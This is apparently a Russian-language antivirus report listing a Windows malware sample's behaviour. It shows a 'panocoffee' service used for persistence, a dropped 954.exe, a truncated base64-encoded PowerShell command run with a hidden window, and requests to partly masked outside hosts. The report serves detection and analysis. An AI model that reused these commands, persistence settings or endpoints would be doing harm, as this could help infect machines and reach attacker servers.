Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\panocoffee] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\panocoffee] 'ImagePath' = '"%WINDIR%\SysWOW64\panocoffee.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco JABEAHAAbgBvAGcAcQBvAHUAcQBjAHUAPQAnAEkAdQBwAGkAYQB2AHQAdwAnADsAJABGAHYAdAByAGUAbABiAHgAawByAHIAIAA9ACAAJwA5ADUANAAnADsAJABQAGIAYwByAHEAegBjAG8AegBtAD0AJwBXAHYAYwB4AHoAdABwAHQAegBmAGMAZAA...
- %HOMEPATH%\954.exe
- %HOMEPATH%\954.exe
- %HOMEPATH%\954.exe в %WINDIR%\syswow64\panocoffee.exe
- %HOMEPATH%\954.exe
- http://es###rart.net/z4iacnp/hv1/
- http://18#.##3.113.67:443/teapot/jit/ via 18#.#73.113.67
- DNS ASK tc##myc.com
- DNS ASK la###syshop.com
- DNS ASK es###rart.net
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco JABEAHAAbgBvAGcAcQBvAHUAcQBjAHUAPQAnAEkAdQBwAGkAYQB2AHQAdwAnADsAJABGAHYAdAByAGUAbABiAHgAawByAHIAIAA9ACAAJwA5ADUANAAnADsAJABQAGIAYwByAHEAegBjAG8AegBtAD0AJwBXAHYAYwB4AHoAdABwAHQAegBmAGMAZAA...' (со скрытым окном)